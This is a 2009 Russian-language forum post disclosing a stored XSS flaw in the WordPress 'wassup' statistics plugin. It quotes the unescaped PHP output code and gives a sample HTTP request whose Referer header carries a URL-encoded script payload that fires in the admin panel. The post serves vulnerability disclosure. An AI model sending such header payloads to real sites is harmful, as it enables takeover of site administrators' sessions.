Показать сообщение отдельно

Уязвимости модулей WordPress
  #99  
Старый 28.02.2009, 16:09
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию Уязвимости модулей WordPress

Уязвимость в модуле статистики wassup
Version: 1.6.4 (вроде как и <=1.6.4)

Активная XSS
Не фильтруется поле Referrer. Уязвимость есть в двух местах: на главной странице статистики и подробной статистике по IP.
Первый код подробной статистики(wassup/lib/action.php):
PHP код:
$raw_table = $wpdb->get_results("SELECT ip, hostname, agent, referrer, search, searchpage, os, browser, language FROM $table_name WHERE wassup_id='".urlencode(attribute_escape($_GET['wassup_id']))."' ORDER BY timestamp ASC LIMIT 1"); ?>
<div><h2><?php _e("Raw data","wassup"); ?>:</h2>
<ul style="list-style-type:none;padding:20px 0 0 30px;">
<?php foreach ($raw_table as $rt) { ?>
...
<li><?php echo __("Referrer","wassup").": ".urldecode($rt->referrer); ?></li>
...
<?php }
//end foreach ?>
Второй код(wassup/lib/main.php):
PHP код:
$referrer = '<a href="'.$cv->referrer.'" target=_"BLANK">'.stringShortener($cv->referrer, round($max_char_len*.9,0)).'</a>';
...
<?php print $referrer?>
Пример:
Код:
GET /wp/ HTTP/1.0
User-Agent: [любой User agent]
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: XSS к примеру Referer: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3C%2F%73%63%72%69%70%74%3E
Proxy-Connection: Keep-Alive
Ну а что бы увидеть эту xss заходим в админку->wassup и лицезреем =)
 
Ответить с цитированием